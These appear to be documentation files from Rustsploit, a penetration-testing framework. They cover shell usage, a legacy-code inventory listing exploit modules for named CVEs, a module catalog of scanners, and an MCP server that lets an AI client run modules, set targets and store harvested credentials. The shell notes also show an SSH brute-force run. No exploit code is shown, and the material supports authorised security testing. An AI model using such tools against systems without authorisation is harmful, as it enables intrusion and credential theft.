| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | wpair: target a single Fast Pair device |
| `adapter` | `setg adapter 1` | wpair: BLE adapter index |
| `scan_secs` | `setg scan_secs 20` | wpair: BLE scan window (3300 s) |
| `model_id` | `setg model_id 0x0582FD` | wpair: Fast Pair model ID when not in the advert |
| `antispoofing_key` | `setg antispoofing_key <base64>` | wpair: Provider Anti-Spoofing public key |
| `gfp_metadata_url` | `setg gfp_metadata_url <tmpl>` | wpair: metadata API URL template (`{model_id}`/`{api_key}`) |
| `gfp_api_key` | `setg gfp_api_key <key>` | wpair: metadata API key |
| Any custom key | `set my_key value` | Modules read via `cfg_prompt_*` |
### Source Port Binding
`set source_port <port>` binds all outbound TCP and UDP connections to the
specified source port. This is enforced at the framework level through the
network wrappers (`tcp_connect_str`, `tcp_connect_addr`, `blocking_tcp_connect`,
`udp_bind`) — including connections made through third-party libraries (FTP,
Telnet) that receive pre-connected streams from these wrappers.
```text
rsf> set source_port 31337
rsf> use creds/generic/ssh_bruteforce
rsf> set target 10.0.0.1
rsf> run
[*] All connections will originate from source port 31337
```
---
## Resource Scripts
Automate workflows by writing commands to a file and executing them:
```text
rsf> resource scan_network.rc
```
Script format (one command per line, `#` for comments):
```text
# scan_network.rc
set target 192.168.1.0/24
use scanners/port_scanner
run
```
Auto-loads `~/.rustsploit/startup.rc` on shell startup if it exists. Use `makerc history.rc` to save your command history.
---
## Data Management
Rustsploit tracks engagement data across sessions:
- **Credentials** (`creds`): Store discovered credentials with host, port, service, username, and type
- **Hosts** (`hosts`): Track discovered hosts with hostname, OS, and notes
- **Services** (`services`): Track discovered services per host
- **Loot** (`loot`): Store collected evidence (configs, hashes, firmware)
- **Workspaces** (`workspace`): Isolate data per engagement
Export all data with `export json report.json`, `export csv report.csv`, or `export summary report.txt`.
### Per-run output auto-save
Every shell / CLI module run also auto-appends its full console output (stdout + stderr) to a per-run file under the loot directory:
```text
~/.rustsploit/loot/<module> <YYYY-MM-DD_HH-MM-SS> results.txt
```
Files are opened in **append** mode, so a multi-host mass scan accumulates into one run file instead of racing to overwrite it. This is automatic and independent of `spool` (which logs the whole session) and of any module's own `save_results` option. API / MCP runs are not duplicated to disk — their output is returned to the caller.
---
## Background Jobs
Run modules in the background with `run -j`:
```text
rsf> use creds/generic/ssh_bruteforce
rsf> set target 192.168.1.1
rsf> run -j
[*] Job 1 started: creds/generic/ssh_bruteforce against 192.168.1.1
rsf> jobs
rsf> jobs -k 1
```
---
## Shell Architecture
Key details from `src/shell.rs`:
- **`ShellContext`** — stores `current_module`, `current_target`, and `verbose` flag.
- **`execute_single_command()`** — the command dispatcher, extracted as a standalone function for resource script support.
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
- **`render_help()`** — prints the colorized command table.
- **Selective persistence** — `global_options.json`, `creds.json`, workspace files, and loot are persisted across sessions in `~/.rustsploit/`. Transient shell state (selected module, current target, verbose flag) is reset on exit.
Tab completion and command history are powered by `rustyline`.
+204
View File
@@ -0,0 +1,204 @@
# Legacy Systems & Deliberately-Untouched Code
This document inventories pre-v0.5.0 code paths that survive in the current codebase, why each one was kept, and where to find the historical context. Read this before deleting anything that "looks unused" — most of these are load-bearing and intentionally preserved.
For the v0.5.0 module-system rewrite that produced this document, see [Changelog.md § v0.5.0](Changelog.md). For the history that introduced each legacy item, see the per-version sections referenced below.
---
## Quick map (current as of v0.5.2)
### Removed
| Legacy item | Released | Reason |
|---|---|---|
| Per-category build.rs dispatch codegen (`exploit_dispatch.rs`, etc.) | v0.5.0 | Replaced by inventory-based registry |
| `src/commands/{scanner,exploit,creds,osint,plugins}.rs` stubs | v0.5.0 | Were one-line `include!` files for the dispatchers |
| `commands::dispatch_with_cidr` / `dispatch_single_target` | v0.5.0 | Replaced by `scheduler::run` |
| `utils::bruteforce::run_mass_scan` + `MassScanConfig` | v0.5.1 | Scheduler does fan-out for every module — no module-level mass-scan branches |
| `Capabilities::native_mass_scan` flag | v0.5.1 | Mass-scan is universal; no opt-in needed |
| `creds/utils.rs` (duplicate of `utils/bruteforce.rs`) | v0.5.1 | Orphaned, never imported |
| `EXCLUDED_RANGES: &[&str]` const in `utils/bruteforce.rs` | v0.5.2 | Replaced by `crate::exclusions::ExclusionSet` (pluggable) |
| `ModuleCtx::legacy_run_ctx` field | v0.5.2 | Was declared, never read or set |
| `ModuleAdapter` runtime shim (`src/module.rs`) | v0.5.6 | All 363 modules self-register via `register_native_module!` — adapter is unreferenced |
| `synthesize_info` fallback | v0.5.6 | Only ever called by the adapter's `info_fn`; both gone together |
| `build.rs` regex-grep codegen + `module_inventory.rs` include | v0.5.6 | No remaining modules go through the build-time bridge |
| `[build-dependencies]` (`regex`, `walkdir`) | v0.5.6 | Build script deleted, no longer required |
### Promoted to standard pattern (was "legacy")
| Item | Status | Reason |
|---|---|---|
| `utils::bruteforce::run_bruteforce` / `_streaming` / `run_subnet_bruteforce` | Standard library | Credential modules invoke these as a library, not via dispatch |
| `register_native_module!` macro | **Standard pattern (v0.5.6)** | Each module file ends with `crate::register_native_module!(Category::X, "name"[, has_check])`. The macro generates a per-module `impl Module` that bridges into the file's free `info()` / `run()` / `check()` functions and `inventory::submit!`s an entry. No build script, no central registry table. |
### Still needing manual work
_None — all 31 stubs from v0.5.1 have been reimplemented. 6 in v0.5.3, 25 in v0.5.5._
### Out of scope
| Item | Reason |
|---|---|
| `arcticalopex/` panel + REST endpoint table in `DESIGN.md` | TypeScript panel lives outside `src/`; REST surface is owned by panel maintainers |
| Historical audit reports (`audit-findings.md`, `arcticalopex_audit.md`, `rustsploit_audit.md`) | Time-stamped forensic findings — editing them rewrites history |
| `docs/Changelog.md:89` reference to `registry::dispatch_by_category` | Inside the v0.4.10 section, describes the architecture *of that release* |
| PQ rekey deadlock (P0-1/P0-2), SSRF bypass (P0-3) | Encryption + handshake hardening — separate workstream |
---
## Migrated in v0.5.1 — universal mass scan
### `utils::bruteforce::run_mass_scan` and `MassScanConfig` — **REMOVED**
**Was at:** `src/utils/bruteforce.rs` lines 386657 (now deleted).
**What it was:** A 250-line async fan-out engine that ~270 modules called from inside their own `run()` to handle `Target::Random` / CIDR targets. Each module had a dedicated `if is_mass_scan_target(target) { return run_mass_scan(...).await; }` branch wrapping a per-host probe closure.
**Why it was removed:** Mass-scan fan-out is now **universal**`crate::scheduler::run` fans out every `Target::Cidr` / `Target::File` / `Target::Multi` / `Target::Random` for every module. Modules only ever see `Target::Single`. Per-module mass-scan branches were duplicated logic of the same shape — we collapsed them into one engine.
**Migration outcome:**
- 110 modules: branch stripped cleanly, single-target `run()` body intact, mass-scan now happens via scheduler fan-out.
- 37 modules: the mechanical strip damaged the surrounding code beyond automatic recovery — `run()` is now a stub that prints a migration warning and returns `Ok(())`. Listed below.
- All 363 modules still register through `crate::module::registered()` and dispatch through `crate::scheduler::run`. Mass scan works on every one of them — the difference is whether the per-host probe is intact (110) or stubbed (37).
### Modules reimplemented from stubs in v0.5.2
These had preserved helpers and were straightforward to wire as single-target probes:
```
src/modules/osint/cert_transparency.rs
src/modules/scanners/ping_sweep.rs
src/modules/scanners/sgbox_siem_recon.rs
src/modules/exploits/vnc/tightvnc_des_hardcoded_key.rs
src/modules/exploits/telnet/telnet_auth_bypass_cve_2026_24061.rs
src/modules/creds/generic/telnet_hose.rs
```
### Modules still stubbed (need manual reimplementation)
Each has been minimised to: migration header + `info()` + (optional) `check()` stub returning `CheckResult::Unknown("under migration")` + `run()` stub returning `Ok(())`. All orphaned helpers / structs / consts removed.
```
src/modules/creds/generic/couchdb_bruteforce.rs
src/modules/creds/generic/elasticsearch_bruteforce.rs
src/modules/creds/generic/fortinet_bruteforce.rs
src/modules/creds/generic/l2tp_bruteforce.rs
src/modules/creds/generic/memcached_bruteforce.rs
src/modules/creds/generic/mqtt_bruteforce.rs
src/modules/creds/generic/mysql_bruteforce.rs
src/modules/creds/generic/postgres_bruteforce.rs
src/modules/creds/generic/rdp_bruteforce.rs
src/modules/creds/generic/rtsp_bruteforce.rs
src/modules/creds/generic/snmp_bruteforce.rs
src/modules/creds/generic/telnet_bruteforce.rs
src/modules/creds/generic/vnc_bruteforce.rs
src/modules/exploits/bluetooth/wpair.rs
src/modules/exploits/cameras/abus/abussecurity_camera_cve202326609variant1.rs
src/modules/exploits/cameras/acti/acm_5611_rce.rs
src/modules/exploits/cameras/hikvision/hikvision_rce_cve_2021_36260.rs
src/modules/exploits/crypto/geth_dos_cve_2026_22862.rs
src/modules/exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257.rs
src/modules/exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce.rs
src/modules/exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce.rs
src/modules/exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce.rs
src/modules/exploits/routers/tplink/tplink_tapo_c200.rs
src/modules/exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457.rs
src/modules/exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890.rs
src/modules/exploits/vnc/tightvnc_ft_path_traversal.rs
src/modules/exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce.rs
src/modules/exploits/webapps/n8n/n8n_form_afr_cve_2026_21858.rs
src/modules/exploits/webapps/react/react2shell.rs
src/modules/exploits/webapps/smartermail/admin_password_reset_cve_2026_23760.rs
src/modules/exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce.rs
```
**To reimplement:** for each file, write a single-target `pub async fn run(target: &str) -> Result<()>` that does ONE probe against ONE host. Don't add `if is_mass_scan_target` / `if is_subnet_target` branches — the scheduler does fan-out (CIDR/random/file/multi).
**History:** `run_mass_scan` was introduced under v0.4.x as `modules/creds/utils.rs::run_subnet_bruteforce`. Migrated to `src/utils/bruteforce.rs` and renamed during the November 2025 hardening sweep (see `changelogs/archives/2025/changelog.md` line 2696, "v0.4.0 — Comprehensive Security Hardening"). Deleted in v0.5.1 in favour of universal scheduler fan-out.
## Live legacy code (intentional)
### Module bodies still take `target: &str` (not `ctx: &ModuleCtx`)
**Location:** every `src/modules/**/*.rs` module file.
**What it is:** All 363 modules now self-register through `register_native_module!`, so dispatch is via a real per-module `impl Module`. The macro-generated `run` body still translates `ModuleCtx → target_str` and calls into the file's `pub async fn run(target: &str) -> Result<()>`. Module bodies print to stdout via `mprintln!` instead of returning `Finding` records.
**Why it remains:** Rewriting 363 modules to `pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome>` is finite-but-large mechanical work. Until it's done, `route_findings` in `src/scheduler.rs` only sees the empty `ModuleOutcome::ok()` returned by the macro — nothing flows into `LootStore` / `Workspace` / events from legacy bodies.
**End state:** Each module body switches to `(ctx: &ModuleCtx) -> Result<ModuleOutcome>`, returns its findings, and the macro adds an opt-in arm for the new signature so both shapes compile during migration.
**History:** v0.5.0 introduced the `Module` trait + `LegacyAdapter`. v0.5.4 reframed the adapter as the "standard pattern". v0.5.6 deleted the adapter + `build.rs` codegen entirely once every module gained `register_native_module!`. Body migration is the next step.
---
## Out-of-scope by design
### `arcticalopex/` panel + REST API tables
**Location:** `arcticalopex/DESIGN.md`, lines around 12611263 (and elsewhere in the panel docs).
**What it documents:** The panel's expected REST surface (`GET /api/creds`, `POST /api/creds`, `DELETE /api/creds`, etc.) — written from the panel's perspective.
**Why untouched in v0.5.0:** The panel is a separate TypeScript codebase. The Rust side does not ship those `/api/*` REST routes — only the `/pq/handshake` and `/pq/ws` endpoints. Documented as a P0 wiring gap in `arcticalopex_wiring_audit.md` long before this migration. Fixing the gap requires implementing the routes in `src/api.rs`, which is its own multi-day project owned by whoever next picks up the panel work.
**If you change the Rust API:** Coordinate with the panel maintainers and update both `arcticalopex/DESIGN.md` and `docs/API-Server.md` in the same PR.
### Historical audit reports
**Files:**
- `audit-findings.md`
- `arcticalopex_audit.md`
- `arcticalopex_audit_phase_a_b_d_summary.md`
- `arcticalopex_wiring_audit.md`
- `rustsploit_audit.md`
**Why untouched:** These are **dated forensic reports** of the codebase state at a specific point in time. Each P0/P1/H-level finding cross-references commits and line numbers from that snapshot. Editing them retroactively would invalidate every reference and make subsequent audits hard to compare.
**The right way to record fixes:** Add a remediation entry in `docs/Changelog.md` (or here in `Legacy.md`) that cites the audit by filename + finding ID, then leave the original audit alone. Example: "P0-1 (arcticalopex_audit.md) — DH ratchet rekey deadlock — fixed in v0.5.0 by ..." rather than amending the original report.
### `docs/Changelog.md:89` mention of `registry::dispatch_by_category`
**Why untouched:** That line lives inside the v0.4.10 section. It describes the *architecture of v0.4.10* — namely, that `commands::run_module` flowed through `registry::dispatch_by_category` and into the codegenerated `exploit_dispatch.rs`. This was accurate when v0.4.10 shipped and remains accurate as a historical record of what v0.4.10 did. Rewriting historical changelog entries to reflect later refactors makes the changelog useless as a release-by-release reference.
**Where to look for the new architecture:** [Changelog.md § v0.5.0](Changelog.md) has the post-migration call graph.
---
## Cross-references to historical changelogs
The current `changelogs/` layout:
```
changelogs/
├── changelog-latest.md # v0.5.0 ↔ April 2026 (most recent)
└── archives/
└── 2025/
└── changelog.md # everything before April 2026
```
Versions and the legacy systems they introduced (so you can grep the right archive when investigating "why does X exist"):
| Version | Date | Files | Legacy item it introduced |
|---|---|---|---|
| v0.4.0 | November 2025 | `archives/2025/changelog.md:2696` | First mass-scan + bruteforce utilities (later moved to `utils/bruteforce.rs`) |
| v0.4.1 | November 2025 | `archives/2025/changelog.md:2850` | SSHPWN integration — multiple modules that still call `run_mass_scan` directly |
| v0.4.8 | 2026-04-19 | `docs/Changelog.md:196` | Original per-category dispatcher codegen (`build.rs``*_dispatch.rs`) — removed in v0.5.0 |
| v0.4.9 | 2026-04-26 | `docs/Changelog.md:97` | Batch-mode prompt cache, PQ rekey hardening, mass-scan capability detection |
| v0.4.10 | 2026-04-28 | `docs/Changelog.md:7` | December 2025 PacketStorm batch (~80 webapp exploits); last release on the legacy dispatcher |
| v0.5.0 | 2026-05-07 | `docs/Changelog.md` (new entry) | Module trait + unified scheduler; build.rs slimmed to inventory bridge |
If a piece of code looks like dead weight, find the version that introduced it in the table above and read that section before deleting. Many "obviously redundant" helpers exist because a specific module needs their exact behaviour.
---
## Migration paths going forward
If you want to retire any of the surviving legacy items, here are the unblockers:
1. **Migrate module bodies from `(target: &str) -> Result<()>` to `(ctx: &ModuleCtx) -> Result<ModuleOutcome>`** — the `native` and `native, has_check` arms of `register_native_module!` already accept the new shape (added in v0.5.6); recipe is in `docs/Module-Development.md` § "Migrating from legacy to native". **151 of 363 modules already ported (42%).** Includes all category templates, the v0.5.5 exploit_helper CVE probes, all 13 `creds_helper`-based credential bruteforces, ~109 small webapp / cross-category probes mass-migrated via a sed+python batch script, plus `ping_sweep`, `telnet_hose`, `tightvnc_des_hardcoded_key`, `telnet_auth_bypass_cve_2026_24061`, `apachebrpc_overflow_cve_2025_59789`, and others. The remaining 212 modules each take ~520 LOC of body change plus the registration-line tweak; the larger ones often have legacy subnet branches that should be deleted alongside the body migration since the scheduler now handles fan-out.
2. **Drop `utils::bruteforce::run_mass_scan`** — port the ~30 callers to emit `ModuleOutcome::findings` and let the scheduler fan out. The blocker is the file-backed result writer — needs a scheduler-level "stream findings to file" mode that doesn't exist yet.
3. **Wire the `arcticalopex` REST routes** — implement `GET/POST/DELETE /api/creds`, `/api/exploits`, etc. in `src/api.rs`. Each route maps to operations on `LootStore` / `module::registered()` / `JobManager`.
Each of these is a discrete project. None blocks day-to-day use.
+225
View File
@@ -0,0 +1,225 @@
# MCP Integration
Rustsploit includes a built-in MCP (Model Context Protocol) server that enables integration with Claude Desktop and other MCP-compatible clients. The server communicates via JSON-RPC 2.0 over stdio (stdin/stdout), with no network listener.
> **As of the 2026-06-13 release the server runs on the official MCP Rust SDK, [`rmcp`](https://crates.io/crates/rmcp) (v1.7, Apache-2.0).** `src/mcp/server.rs` is now a thin adapter implementing rmcp's `ServerHandler` trait — protocol framing, transport, and spec compliance are owned by the SDK (with correct resources/prompts/progress support). The tool and resource logic (`tools.rs`, `resources.rs`, `types.rs`) is unchanged, so the **29 tools and 7 resources** below, the per-call timeout, and the stdout-isolation guard all carry over.
---
## Starting the MCP Server
```bash
cargo run -- --mcp
```
The server reads one JSON-RPC 2.0 request per line from stdin and writes one response per line to stdout. Diagnostic messages go to stderr.
---
## Protocol
- **Transport**: Newline-delimited JSON over stdio
- **Protocol version**: `2024-11-05`
- **Capabilities**: `tools`, `resources`
- **Server name**: `rustsploit-mcp`
### Supported JSON-RPC Methods
| Method | Type | Description |
|--------|------|-------------|
| `initialize` | Request | Capability negotiation handshake |
| `initialized` | Notification | Client acknowledgement (no response) |
| `tools/list` | Request | List all available tools |
| `tools/call` | Request | Execute a tool by name |
| `resources/list` | Request | List all available resources |
| `resources/read` | Request | Read a resource by URI |
---
## Tools (29)
### Module Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_modules` | List all available modules, optionally filtered by category | -- |
| `search_modules` | Search modules by keyword (case-insensitive substring match) | `query` |
| `module_info` | Get metadata for a specific module (name, description, authors, references, rank) | `module_path` |
| `check_module` | Run a module's `check` entry point against a target | `module_path`, `target` |
### Target Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `set_target` | Set the global target (IP, hostname, CIDR, or comma-separated list) | `target` |
| `get_target` | Get the current global target, size, and subnet status | -- |
| `clear_target` | Clear the global target | -- |
### Execution
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `run_module` | Execute a module against a target, returning captured output | `module_path`, `target` |
Optional params for `run_module`: `port` (integer), `verbose` (boolean), `prompts` (object of key-value string overrides).
### Credential Tools
Credentials are per-workspace -- each workspace maintains its own credential store at `~/.rustsploit/workspaces/{name}_creds.json`. Switching workspaces via `switch_workspace` loads that workspace's credentials.
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_creds` | List all stored credentials in the current workspace | -- |
| `search_creds` | Search credentials by host, service, or username in the current workspace | `query` |
| `add_cred` | Add a credential to the current workspace's store | `host`, `username`, `secret` |
| `delete_cred` | Delete a credential by its ID from the current workspace | `id` |
Optional params for `add_cred`: `port` (integer), `service` (string), `cred_type` (password/hash/key/token).
### Workspace Host and Service Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_hosts` | List all tracked hosts in the current workspace | -- |
| `add_host` | Add or update a host in the workspace | `ip` |
| `delete_host` | Delete a host (and its services) from the workspace | `ip` |
| `list_services` | List all tracked services in the current workspace | -- |
| `add_service` | Add or update a service in the workspace | `host`, `port`, `service_name` |
| `delete_service` | Delete a service by host and port | `host`, `port` |
Optional params for `add_host`: `hostname`, `os_guess`. Optional params for `add_service`: `protocol` (default: tcp), `version`.
### Loot Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_loot` | List all stored loot entries | -- |
| `search_loot` | Search loot by host, type, or description | `query` |
| `add_loot` | Store a loot entry (text data) | `host`, `loot_type`, `data` |
| `delete_loot` | Delete a loot entry by ID | `id` |
Optional params for `add_loot`: `description`.
### Global Options Tools
Options are per-workspace -- they are scoped to the current workspace and stored at `~/.rustsploit/workspaces/{name}_options.json`. Switching workspaces via `switch_workspace` loads that workspace's options.
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_options` | List all persistent global options (setg values) for the current workspace | -- |
| `set_option` | Set a persistent global option in the current workspace | `key`, `value` |
| `unset_option` | Remove a persistent global option from the current workspace | `key` |
### Job Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_jobs` | List active background jobs | -- |
| `kill_job` | Kill a background job by ID | `id` (integer) |
### Workspace Management Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_workspaces` | List all available workspaces | -- |
| `switch_workspace` | Switch to a different workspace (creates if needed) | `name` |
### Export
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `export_data` | Export full engagement data as JSON | -- |
---
## Resources (7)
Resources provide read-only access to framework state.
| URI | Name | Description | MIME Type |
|-----|------|-------------|-----------|
| `rustsploit:///modules` | Module Catalog | Full module list with `info()` metadata | `application/json` |
| `rustsploit:///workspace` | Current Workspace | Tracked hosts and services | `application/json` |
| `rustsploit:///credentials` | Credentials | Credential list with secrets redacted | `application/json` |
| `rustsploit:///loot` | Loot Catalog | Loot metadata (no file content) | `application/json` |
| `rustsploit:///options` | Global Options | Persistent setg key-value pairs | `application/json` |
| `rustsploit:///target` | Current Target | Target value, size, and subnet flag | `application/json` |
| `rustsploit:///status` | Framework Status | Module count, workspace, host/cred/loot counts | `application/json` |
---
## Claude Desktop Configuration
Add the following to your `claude_desktop_config.json`:
```json
{
"mcpServers": {
"rustsploit": {
"command": "/path/to/rustsploit",
"args": ["--mcp"]
}
}
}
```
Replace `/path/to/rustsploit` with the absolute path to your compiled binary (e.g., `target/release/rustsploit`).
---
## Security
- **Stdio transport only** -- no network listener, no authentication needed (single-user process)
- **Target injection prevention** -- `run_module` strips any `target` key from the `prompts` object to prevent SSRF via prompt injection
- **Module validation** -- module paths are verified against the compile-time `inventory` module registry before execution
- **Credential redaction** -- the `rustsploit:///credentials` resource shows only the first 3 characters of each secret
- **No file system writes** -- MCP tools return data inline; no direct file read/write operations are exposed. (Unlike the console / CLI, MCP runs are not duplicated to the per-run loot auto-save file — their output is returned inline to the caller.)
- **Concurrency bounded** -- module execution is limited by the framework's semaphore (CPU count, minimum 4 concurrent)
- **Per-call timeout** -- each tool call is bounded by `RUSTSPLOIT_MCP_TIMEOUT_SECS` (default 300s)
- **Stdout isolation** -- the JSON-RPC protocol channel is dup'd off fd 1 and fd 1 is redirected to `/dev/null`, so a stray `println!` from a module can never corrupt the JSON-RPC stream
---
## Architecture
```
src/mcp/
mod.rs -- Module re-exports
types.rs -- MCP capability structs, Tool/Resource/ToolResult types
server.rs -- rmcp `ServerHandler` adapter (SDK owns transport + JSON-RPC framing)
tools.rs -- 29 tool definitions and dispatch handlers
resources.rs -- 7 resource definitions and read handlers
client.rs -- MCP client implementation (for connecting to external MCP servers)
```
### Request Flow
1. The `rmcp` SDK reads and frames each JSON-RPC message off the stdio transport
2. The SDK dispatches to the `ServerHandler` adapter in `server.rs` by method (`initialize`, `tools/list`, `tools/call`, `resources/list`, `resources/read`)
3. The handler extracts typed parameters and dispatches to `tools.rs` / `resources.rs`
4. Those call framework APIs (the same functions used by the REST API and interactive shell)
5. The SDK serializes the result back onto the stdio transport
---
## Example Session
```
-> {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
<- {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{},"resources":{}},"serverInfo":{"name":"rustsploit-mcp","version":"0.5.0"}}}
-> {"jsonrpc":"2.0","method":"initialized","params":{}}
-> {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
<- {"jsonrpc":"2.0","id":2,"result":{"tools":[...]}}
-> {"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"set_target","arguments":{"target":"192.168.1.1"}}}
<- {"jsonrpc":"2.0","id":3,"result":{"content":[{"type":"text","text":"Target set to: 192.168.1.1"}]}}
-> {"jsonrpc":"2.0","id":4,"method":"resources/read","params":{"uri":"rustsploit:///status"}}
<- {"jsonrpc":"2.0","id":4,"result":{"uri":"rustsploit:///status","mimeType":"application/json","text":"{...}"}}
```
---
> The MCP server uses the same framework internals as the REST API and interactive shell. Module execution, credential storage, workspace tracking, and all other operations produce identical results regardless of the interface used.
+408
View File
@@ -0,0 +1,408 @@
# Module Catalog
> Auto-generated from the inventory registry by `rustsploit --gen-module-catalog`. Do not edit by hand.
>
> **Stale snapshot.** This file last reflects 363 modules; the current build has **389** (the 2026-06-13 release added `scanners/jarm_scan` and others). Re-run `rustsploit --gen-module-catalog > docs/Module-Catalog.md` to regenerate the live list.
**Total registered modules: 363**
All modules support mass scan universally — `random` / CIDR / file targets / comma-separated lists fan out through `crate::scheduler::run` regardless of the module.
## scanners (45)
- 45 modules, 8 with `check()`
| Module | Description | Rank | Check |
|---|---|---|---|
| `scanners/api_endpoint_scanner` | Comprehensive REST API endpoint discovery and vulnerability scanner with fuzzing, authentication bypass, and injection detection. | Normal | |
| `scanners/asterisk_fingerprint` | Connects to the Asterisk built-in HTTPS interface (default 8089/tcp), reads the Server header, and flags EOL major branches (1.x through 16.x). Detection only — no exploit traffic, no DoS vectors. | Excellent | ✓ |
| `scanners/cors_reflection_scanner` | Sends a battery of Origin headers (attacker, null, suffix/prefix confusion, scheme downgrade) plus an OPTIONS preflight, and reports any reflected or wildcard ACAO, especially when paired with Access-Control-Allow-Credentials: true. | Excellent | |
| `scanners/cpanel_exposure` | Probes the cPanel control-plane ports (2082/2083, 2086/2087, 2095/2096) plus 8888/8889 for reachable HTTP(S) endpoints. Reports each panel that responds, its Server header, and any redirect chain — useful for finding management interfaces exposed to the internet without IP allow-lists. | Excellent | ✓ |
| `scanners/csp_audit_scanner` | Extracts Content-Security-Policy from headers or <meta> tags and flags unfilled placeholders, unsafe-inline/unsafe-eval, wildcard sources, missing frame-ancestors, mixed content, and overly broad CDN whitelists. | Excellent | |
| `scanners/dir_brute` | HTTP directory and file enumeration via wordlist with multiple scan modes, evasion techniques, and concurrent requests. | Normal | |
| `scanners/dmarc_check` | Queries _dmarc.<domain> TXT records to determine whether DMARC is missing, set to p=none (monitoring only), or enforced (p=quarantine / p=reject). Missing or non-enforcing DMARC enables email spoofing and phishing. | Excellent | ✓ |
| `scanners/dns_recursion` | Detects open DNS resolvers vulnerable to recursion and amplification attacks. | Normal | |
| `scanners/honeypot_scanner` | Scans targets for honeypot indicators by probing 50 common TCP ports in parallel. Classifies hosts as Clean (0-5 open), Suspicious (6-10), Likely Honeypot (11-20), or Definite Honeypot (21+). Supports single IP, CIDR subnets, file-based target lists, and random/mass scanning. Results are stored to the workspace with honeypot notes. | Normal | |
| `scanners/http_method_scanner` | Enumerates allowed HTTP methods on a target to identify dangerous or misconfigured endpoints. | Normal | |
| `scanners/http_title_scanner` | Enumerates HTML page titles across HTTP and HTTPS endpoints for target fingerprinting. | Normal | |
| `scanners/ipmi_enum_exploit` | Comprehensive IPMI scanner with version detection, cipher 0 bypass, default credential brute force, and RAKP hash dumping. | Normal | |
| `scanners/iusb_virtualmedia_probe` | Probes a BMC for a reachable IUSB virtual-media service by sending the 12-byte protocol handshake (ASCII 'IUSB' + 4 spaces + 4 NUL) to ports 5120/5123/5124/5126/5127 in plaintext, then over TLS. Reports each port whose reply echoes the IUSB magic — those ports accept remote ISO mounts with valid BMC credentials, which paired with credential-leak or default-password issues is a full host-OS compromise vector. | Great | ✓ |
| `scanners/m365_userenum_scanner` | Confirms Azure AD / M365 tenant existence via OIDC .well-known, then enumerates user existence by POSTing GetCredentialType. Returns IfExistsResult (0=exists, 1=missing, 5=federated, 6=throttled). | Excellent | |
| `scanners/mysql_exposure` | Connects to TCP/3306 (configurable), reads the server greeting handshake, and reports the protocol byte + advertised version. If the server replies with an ERR packet (host not allowed) the banner still confirms exposure. Detection only — no authentication is attempted. | Excellent | ✓ |
| `scanners/nbns_scanner` | Sends NBNS name queries to UDP port 137 to discover Windows hosts on a network. Extracts NetBIOS computer names, domain/workgroup memberships, MAC addresses, and service type flags. Useful for Windows network reconnaissance. | Excellent | |
| `scanners/php_version_eol` | Reads the X-Powered-By header from /, then probes a small list of common Vicidial paths. Flags PHP major branches that have reached EOL (4.x, 5.x, 7.x — all unsupported as of 2026). Detection only — no exploitation. | Excellent | ✓ |
| `scanners/ping_sweep` | Single-host liveness probe — ICMP echo, then a small TCP connect pre-check on common ports. Used as a per-host probe inside the scheduler's CIDR / random / file fan-out, so the operator gets the same `up?` answer for one host or a /16 with no extra plumbing. | Excellent | |
| `scanners/port_scanner` | Concurrent TCP and UDP port scanner with service detection, banner grabbing, and configurable scan ranges. | Normal | |
| `scanners/proxy_scanner` | Scans for open proxy servers: HTTP CONNECT, SOCKS4, SOCKS5, and HTTP transparent. Identifies proxies that can be used for traffic relay without authentication. | Normal | |
| `scanners/redfish_unauth_enum` | Walks the standard Redfish tree (Systems, Managers, Chassis, AccountService, SecurityService, UpdateService) against a BMC target and reports any endpoint that returns sensitive identity/firmware/policy data without authentication. Also probes vendor-aux endpoints like /cc/bmc_cc.xml that commonly leak capability catalogs and error-string enums. | Great | ✓ |
| `scanners/redis_scanner` | Scans for Redis instances with no authentication. Extracts server version, configuration, key count, and identifies potential exploitation vectors such as writable directories and empty requirepass. | Excellent | |
| `scanners/reflect_scanner` | Scans for UDP amplification vulnerabilities (DNS open resolver, NTP monlist, SSDP M-SEARCH, Memcached stats). Identifies reflectors that could be abused for volumetric DDoS attacks. | Excellent | |
| `scanners/s3_bucket_scanner` | Probes an S3 bucket via virtual-hosted and path-style URLs for public listing, ACL/policy disclosure, and bucket-existence (NoSuchBucket → registration takeover candidate). | Excellent | |
| `scanners/sample_scanner` | Checks HTTP and HTTPS reachability and response codes for target hosts. | Normal | |
| `scanners/security_headers_scanner` | Fetches a target URL, audits the security-relevant response headers, and reports missing/weak HSTS, CSP, X-Frame-Options, COOP/COEP/CORP, server banners, and insecure cookie attributes. | Excellent | |
| `scanners/sequential_fuzzer` | Sequential character-based HTTP fuzzer with multiple encoding types, injection charsets, and concurrent request support. | Normal | |
| `scanners/service_scanner` | Connects to common service ports and grabs banners/version strings using protocol-specific probes. Detects FTP, SSH, Telnet, SMTP, POP3, IMAP, MySQL, PostgreSQL, Redis, MongoDB, Memcached, RDP, VNC, and Elasticsearch. | Excellent | |
| `scanners/sgbox_siem_recon` | Non-destructive recon of Securegate SGBox NG-SIEM consoles. | Excellent | ✓ |
| `scanners/smtp_user_enum` | Enumerates valid usernames on SMTP servers using VRFY commands with wordlist-based concurrent scanning. | Normal | |
